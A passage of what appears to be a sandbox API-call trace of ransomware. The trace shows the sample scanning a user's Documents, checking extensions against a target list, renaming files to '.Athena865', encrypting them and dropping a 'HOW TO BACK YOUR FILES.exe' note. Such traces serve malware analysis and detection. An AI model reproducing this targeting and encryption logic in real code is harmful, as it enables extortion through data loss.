(lpString="db2") returned 3 [0050.704] lstrcmpiW (lpString1="lsx", lpString2="db2") returned 1 [0050.704] lstrlenW (lpString="db3") returned 3 [0050.704] lstrcmpiW (lpString1="lsx", lpString2="db3") returned 1 [0050.704] lstrlenW (lpString="dbf") returned 3 [0050.704] lstrcmpiW (lpString1="lsx", lpString2="dbf") returned 1 [0050.704] lstrlenW (lpString="mdf") returned 3 [0050.704] lstrcmpiW (lpString1="lsx", lpString2="mdf") returned -1 [0050.704] lstrlenW (lpString="mdb") returned 3 [0050.704] lstrcmpiW (lpString1="lsx", lpString2="mdb") returned -1 [0050.704] lstrlenW (lpString="sql") returned 3 [0050.704] lstrcmpiW (lpString1="lsx", lpString2="sql") returned -1 [0050.704] lstrlenW (lpString="sqlite") returned 6 [0050.704] lstrcmpiW (lpString1="N.xlsx", lpString2="sqlite") returned -1 [0050.704] lstrlenW (lpString="sqlite3") returned 7 [0050.704] lstrcmpiW (lpString1="RN.xlsx", lpString2="sqlite3") returned -1 [0050.704] lstrlenW (lpString="sqlitedb") returned 8 [0050.705] lstrcmpiW (lpString1="YRN.xlsx", lpString2="sqlitedb") returned 1 [0050.705] lstrlenW (lpString="xml") returned 3 [0050.705] lstrcmpiW (lpString1="lsx", lpString2="xml") returned -1 [0050.705] lstrlenW (lpString="$er") returned 3 [0050.705] lstrcmpiW (lpString1="lsx", lpString2="$er") returned 1 [0050.705] lstrlenW (lpString="4dd") returned 3 [0050.705] lstrcmpiW (lpString1="lsx", lpString2="4dd") returned 1 [0050.705] lstrlenW (lpString="4dl") returned 3 [0050.705] lstrcmpiW (lpString1="lsx", lpString2="4dl") returned 1 [0050.705] lstrlenW (lpString="^^^") returned 3 [0050.705] lstrcmpiW (lpString1="lsx", lpString2="^^^") returned 1 [0050.705] lstrlenW (lpString="abs") returned 3 [0050.705] lstrcmpiW (lpString1="lsx", lpString2="abs") returned 1 [0050.705] lstrlenW (lpString="abx") returned 3 [0050.705] lstrcmpiW (lpString1="lsx", lpString2="abx") returned 1 [0050.705] lstrlenW (lpString="accdb") returned 5 [0050.705] lstrcmpiW (lpString1=".xlsx", lpString2="accdb") returned -1 [0050.705] lstrlenW (lpString="accdc") returned 5 [0050.705] lstrcmpiW (lpString1=".xlsx", lpString2="accdc") returned -1 [0050.705] lstrlenW (lpString="accde") returned 5 [0050.705] lstrcmpiW (lpString1=".xlsx", lpString2="accde") returned -1 [0050.705] lstrlenW (lpString="accdr") returned 5 [0050.705] lstrcmpiW (lpString1=".xlsx", lpString2="accdr") returned -1 [0050.705] lstrlenW (lpString="accdt") returned 5 [0050.705] lstrcmpiW (lpString1=".xlsx", lpString2="accdt") returned -1 [0050.705] lstrlenW (lpString="accdw") returned 5 [0050.705] lstrcmpiW (lpString1=".xlsx", lpString2="accdw") returned -1 [0050.705] lstrlenW (lpString="accft") returned 5 [0050.705] lstrcmpiW (lpString1=".xlsx", lpString2="accft") returned -1 [0050.705] lstrlenW (lpString="adb") returned 3 [0050.705] lstrcmpiW (lpString1="lsx", lpString2="adb") returned 1 [0050.705] lstrlenW (lpString="adb") returned 3 [0050.705] lstrcmpiW (lpString1="lsx", lpString2="adb") returned 1 [0050.706] lstrlenW (lpString="ade") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="ade") returned 1 [0050.706] lstrlenW (lpString="adf") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="adf") returned 1 [0050.706] lstrlenW (lpString="adn") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="adn") returned 1 [0050.706] lstrlenW (lpString="adp") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="adp") returned 1 [0050.706] lstrlenW (lpString="alf") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="alf") returned 1 [0050.706] lstrlenW (lpString="ask") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="ask") returned 1 [0050.706] lstrlenW (lpString="btr") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="btr") returned 1 [0050.706] lstrlenW (lpString="cat") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="cat") returned 1 [0050.706] lstrlenW (lpString="cdb") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="cdb") returned 1 [0050.706] lstrlenW (lpString="ckp") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="ckp") returned 1 [0050.706] lstrlenW (lpString="cma") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="cma") returned 1 [0050.706] lstrlenW (lpString="cpd") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="cpd") returned 1 [0050.706] lstrlenW (lpString="dacpac") returned 6 [0050.706] lstrcmpiW (lpString1="N.xlsx", lpString2="dacpac") returned 1 [0050.706] lstrlenW (lpString="dad") returned 3 [0050.706] lstrcmpiW (lpString1="lsx", lpString2="dad") returned 1 [0050.706] lstrlenW (lpString="dadiagrams") returned 10 [0050.706] lstrcmpiW (lpString1="7XYRN.xlsx", lpString2="dadiagrams") returned -1 [0050.706] lstrlenW (lpString="daschema") returned 8 [0050.706] lstrcmpiW (lpString1="YRN.xlsx", lpString2="daschema") returned 1 [0050.706] lstrlenW (lpString="db-journal") returned 10 [0050.707] lstrcmpiW (lpString1="7XYRN.xlsx", lpString2="db-journal") returned -1 [0050.707] lstrlenW (lpString="db-shm") returned 6 [0050.707] lstrcmpiW (lpString1="N.xlsx", lpString2="db-shm") returned 1 [0050.707] lstrlenW (lpString="db-wal") returned 6 [0050.707] lstrcmpiW (lpString1="N.xlsx", lpString2="db-wal") returned 1 [0050.707] lstrlenW (lpString="dbc") returned 3 [0050.707] lstrcmpiW (lpString1="lsx", lpString2="dbc") returned 1 [0050.707] lstrlenW (lpString="dbs") returned 3 [0050.707] lstrcmpiW (lpString1="lsx", lpString2="dbs") returned 1 [0050.707] lstrlenW (lpString="dbt") returned 3 [0050.707] lstrcmpiW (lpString1="lsx", lpString2="dbt") returned 1 [0050.707] lstrlenW (lpString="dbv") returned 3 [0050.707] lstrcmpiW (lpString1="lsx", lpString2="dbv") returned 1 [0050.707] lstrlenW (lpString="dbx") returned 3 [0050.707] lstrcmpiW (lpString1="lsx", lpString2="dbx") returned 1 [0050.707] lstrlenW (lpString="dcb") returned 3 [0050.707] lstrcmpiW (lpString1="lsx", lpString2="dcb") returned 1 [0050.707] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\DE4p2jrvfdb77XYRN.xlsx.Athena865") returned 89 [0050.707] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\DE4p2jrvfdb77XYRN.xlsx" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\de4p2jrvfdb77xyrn.xlsx"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\DE4p2jrvfdb77XYRN.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\de4p2jrvfdb77xyrn.xlsx.athena865"), dwFlags=0x1) returned 1 [0050.708] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\DE4p2jrvfdb77XYRN.xlsx.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\de4p2jrvfdb77xyrn.xlsx.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.708] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=94244) returned 1 [0050.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.708] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.709] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.709] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.709] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.709] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x17330, lpName=0x0) returned 0x17c [0050.709] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x17330) returned 0x100000 [0050.713] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.713] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.713] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.713] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.713] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.714] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.714] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.714] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.715] CloseHandle (hObject=0x17c) returned 1 [0050.715] CloseHandle (hObject=0x154) returned 1 [0050.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.716] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.717] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2=".") returned 1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="..") returned 1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="windows") returned -1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="bootmgr") returned 1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="temp") returned -1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="pagefile.sys") returned -1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="boot") returned 1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="ids.txt") returned -1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="ntuser.dat") returned -1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="perflogs") returned -1 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2="MSBuild") returned -1 [0050.717] lstrlenW (lpString="desktop.ini") returned 11 [0050.717] lstrcpyW (in: lpString1=0x241e8ba, lpString2="desktop.ini" | out: lpString1="desktop.ini") returned="desktop.ini" [0050.717] lstrlenW (lpString="desktop.ini") returned 11 [0050.717] lstrlenW (lpString="Athena865") returned 9 [0050.717] lstrcmpiW (lpString1="sktop.ini", lpString2="Athena865") returned 1 [0050.717] lstrlenW (lpString=".dll") returned 4 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2=".dll") returned 1 [0050.717] lstrlenW (lpString=".lnk") returned 4 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2=".lnk") returned 1 [0050.717] lstrlenW (lpString=".ini") returned 4 [0050.717] lstrcmpiW (lpString1="desktop.ini", lpString2=".ini") returned 1 [0050.717] lstrlenW (lpString=".sys") returned 4 [0050.718] lstrcmpiW (lpString1="desktop.ini", lpString2=".sys") returned 1 [0050.718] lstrlenW (lpString="desktop.ini") returned 11 [0050.718] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini.Athena865") returned 78 [0050.718] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini.athena865"), dwFlags=0x1) returned 1 [0050.718] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\desktop.ini.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\desktop.ini.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0050.719] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=402) returned 1 [0050.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0050.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0050.719] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0050.719] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0050.720] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0050.720] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.720] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4a0, lpName=0x0) returned 0x17c [0050.724] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4a0) returned 0x100000 [0050.724] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0050.725] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0050.725] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0050.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0050.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0050.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x5282a0 [0050.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0050.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5282a0 | out: hHeap=0x4f0000) returned 1 [0050.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0050.725] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0050.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0050.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0050.725] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0050.725] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0050.725] CloseHandle (hObject=0x17c) returned 1 [0050.725] CloseHandle (hObject=0x154) returned 1 [0050.726] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0050.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0050.727] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0050.727] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf284e260, ftCreationTime.dwHighDateTime=0x1d4d23d, ftLastAccessTime.dwLowDateTime=0x9d335200, ftLastAccessTime.dwHighDateTime=0x1d4d53b, ftLastWriteTime.dwLowDateTime=0x9d335200, ftLastWriteTime.dwHighDateTime=0x1d4d53b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ES3F3HYy", cAlternateFileName="")) returned 1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2=".") returned 1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="..") returned 1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="windows") returned -1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="bootmgr") returned 1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="temp") returned -1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="pagefile.sys") returned -1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="boot") returned 1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="ids.txt") returned -1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="ntuser.dat") returned -1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="perflogs") returned -1 [0050.727] lstrcmpiW (lpString1="ES3F3HYy", lpString2="MSBuild") returned -1 [0050.727] lstrlenW (lpString="ES3F3HYy") returned 8 [0050.727] lstrcpyW (in: lpString1=0x241e8ba, lpString2="ES3F3HYy" | out: lpString1="ES3F3HYy") returned="ES3F3HYy" [0050.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52c428 [0050.727] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x84) returned 0x514ab8 [0050.727] lstrcatW (in: lpString1="ES3F3HYy", lpString2="\\" | out: lpString1="ES3F3HYy\\") returned="ES3F3HYy\\" [0050.727] lstrcatW (in: lpString1="ES3F3HYy\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ES3F3HYy\\HOW TO BACK YOUR FILES.exe") returned="ES3F3HYy\\HOW TO BACK YOUR FILES.exe" [0050.727] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Documents\\ES3F3HYy\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\documents\\es3f3hyy\\how to back your files.exe"), bFailIfExists=1) returned 1 [0050.729] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57f945a0, ftCreationTime.dwHighDateTime=0x1d510a5, ftLastAccessTime.dwLowDateTime=0xbe0ac8f0, ftLastAccessTime.dwHighDateTime=0x1d4f417, ftLastWriteTime.dwLowDateTime=0xbe0ac8f0, ftLastWriteTime.dwHighDateTime=0x1d4f417, nFileSizeHigh=0x0, nFileSizeLow=0x17805, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hm58cOqk.docx", cAlternateFileName="HM58CO~1.DOC")) returned 1 [0050.729] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0050.729] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0050.729] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2=".") returned 1 [0050.729] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="..") returned 1 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="windows") returned -1 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="bootmgr") returned 1 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="temp") returned -1 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="pagefile.sys") returned -1 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="boot") returned 1 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="ids.txt") returned -1 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="ntuser.dat") returned -1 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="perflogs") returned -1 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2="MSBuild") returned -1 [0050.730] lstrlenW (lpString="hm58cOqk.docx") returned 13 [0050.730] lstrcpyW (in: lpString1=0x241e8ba, lpString2="hm58cOqk.docx" | out: lpString1="hm58cOqk.docx") returned="hm58cOqk.docx" [0050.730] lstrlenW (lpString="hm58cOqk.docx") returned 13 [0050.730] lstrlenW (lpString="Athena865") returned 9 [0050.730] lstrcmpiW (lpString1="cOqk.docx", lpString2="Athena865") returned 1 [0050.730] lstrlenW (lpString=".dll") returned 4 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2=".dll") returned 1 [0050.730] lstrlenW (lpString=".lnk") returned 4 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2=".lnk") returned 1 [0050.730] lstrlenW (lpString=".ini") returned 4 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2=".ini") returned 1 [0050.730] lstrlenW (lpString=".sys") returned 4 [0050.730] lstrcmpiW (lpString1="hm58cOqk.docx", lpString2=".sys") returned 1 [0050.730] lstrlenW (lpString="hm58cOqk.docx") returned 13 [0050.730] lstrlenW (lpString="bak") returned 3 [0050.730] lstrcmpiW (lpString1="ocx", lpString2="bak") returned 1 [0050.730] lstrlenW (lpString="ba_") returned 3 [0050.730] lstrcmpiW (lpString1="ocx", lpString2="ba_") returned 1 [0050.730] lstrlenW (lpString="dbb") returned 3 [0050.730] lstrcmpiW (lpString1="ocx", lpString2="dbb") returned 1 [0050.730] lstrlenW (lpString="vmdk") returned 4 [0050.730] lstrcmpiW (lpString1="docx", lpString2="vmdk") returned -1 [0050.730] lstrlenW (lpString="rar") returned 3 [0050.730] lstrcmpiW (lpString1="ocx", lpString2="rar") returned -1 [0050.731] lstrlenW (lpString="zip") returned 3 [0050.731] lstrcmpiW (lpString1="ocx", lpString2="zip") returned -1 [0050.731] lstrlenW (lpString="tgz") returned 3 [0050.731] lstrcmpiW (lpString1="ocx", lpString2="tgz") returned -1 [0050.731] lstrlenW (lpString="vbox") returned 4 [0050.731] lstrcmpiW (lpString1="docx", lpString2="vbox") returned -1 [0050.731] lstrlenW (lpString="vdi") returned 3 [0050.731] lstrcmpiW (lpString1="ocx", lpString2="vdi") returned -1 [0050.731] lstrlenW (lpString="vhd") returned 3 [0050.731] lstrcmpiW (lpString1="ocx", lpString2="vhd") returned -1 [0050.731] lstrlenW (lpString="vhdx") returned 4 [0050.731] lstrcmpiW (lpString1="docx", lpString2="vhdx") returned -1 [0050.731] lstrlenW (lpString="avhd") returned 4 [0050.731] lstrcmpiW (lpString1="docx", lpString2="avhd") returned 1 [0050.731] lstrlenW (lpString="db") returned 2 [0050.731] lstrcmpiW (lpString1="cx", lpString2="db") returned -1 [0050.731] lstrlenW (lpString="db2") returned 3 [0050.731] lstrcmpiW (lpString1="ocx", lpString2="db2") returned 1 [0050.731] lstrlenW (lpString="db3") returned 3 [0050.731] lstrcmpiW (lpString1="ocx", lpString2="db3") returned 1 [0050.731] lstrlenW (lpString="dbf") returned 3 [0050.731] lstrcmpiW (lpString1="ocx", lpString2="dbf") returned 1 [0050.731] lstrlenW (lpString="mdf") returned 3 [0050.731] lstrcmpiW (lpString1="ocx", lpString2="mdf") returned 1 [0050.731] lstrlenW (lpString="mdb") returned 3 [0050.731] lstrcmpiW (lpString1="ocx", lpString2="mdb") returned 1 [0050.731] lstrlenW (lpString="sql") returned 3 [0050.731] lstrcmpiW (lpString1="ocx", lpString2="sql") returned -1 [0050.731] lstrlenW (lpString="sqlite") returned 6 [0050.731] lstrcmpiW (lpString1="k.docx", lpString2="sqlite") returned -1 [0050.731] lstrlenW (lpString="sqlite3") returned 7 [0050.731] lstrcmpiW (lpString1="qk.docx", lpString2="sqlite3") returned -1 [0050.732] lstrlenW (lpString="sqlitedb") returned 8 [0050.732] lstrcmpiW (lpString1="Oqk.docx", lpString2="sqlitedb") returned -1 [0050.732] lstrlenW (lpString="xml") returned 3 [0050.732] lstrcmpiW (lpString1="ocx", lpString2="xml") returned -1 [0050.732] lstrlenW (lpString="$er") returned 3 [0050.732] lstrcmpiW (lpString1="ocx", lpString2="$er") returned 1 [0050.732] lstrlenW (lpString="4dd") returned 3 [0050.732] lstrcmpiW (lpString1="ocx", lpString2="4dd") returned 1 [0050.732] lstrlenW (lpString="4dl") returned 3 [0050.732] lstrcmpiW (lpString1="ocx", lpString2="4dl") returned 1 [0050.732] lstrlenW (lpString="^^^") returned 3 [0050.732] lstrcmpiW (lpString1="ocx", lpString2="^^^") returned 1 [0050.732] lstrlenW (lpString="abs") returned 3 [0050.732] lstrcmpiW (lpString1="ocx", lpString2="abs") returned 1 [0050.732] lstrlenW (lpString="abx") returned 3 [0050.732] lstrcmpiW (lpString1="ocx", lpString2="abx") returned 1 [0050.732] lstrlenW (lpString="accdb") returned 5 [0050.732] lstrcmpiW (lpString1=".docx", lpString2="accdb") returned -1 [0050.732] lstrlenW (lpString="accdc") returned 5 [0050.732] lstrcmpiW (lpString1=".docx", lpString2="accdc") returned -1 [0050.732] lstrlenW (lpString="accde") returned 5 [0050.732] lstrcmpiW (lpString1=".docx", lpString2="accde") returned -1 [0050.732] lstrlenW (lpString="accdr") returned 5 [0050.732] lstrcmpiW (lpString1=".docx", lpString2="accdr") returned -1 [0050.732] lstrlenW (lpString="accdt") returned 5 [0050.732] lstrcmpiW (lpString1=".docx", lpString2="accdt") returned -1 [0050.732] lstrlenW (lpString="accdw") returned 5 [0050.732] lstrcmpiW (lpString1=".docx", lpString2="accdw") returned -1 [0050.732] lstrlenW (lpString="accft") returned 5 [0050.732] lstrcmpiW (lpString1=".docx", lpString2="accft") returned -1 [0050.732] lstrlenW (lpString="adb") returned 3 [0050.732] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1 [0050.732] lstrlenW (lpString="adb") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="adb") returned 1 [0050.733] lstrlenW (lpString="ade") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="ade") returned 1 [0050.733] lstrlenW (lpString="adf") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="adf") returned 1 [0050.733] lstrlenW (lpString="adn") returned 3 [0050.733] lstrcmpiW (lpString1="ocx", lpString2="adn") returned 1 [0050.733] lstrlenW (lpString="adp") returned 3 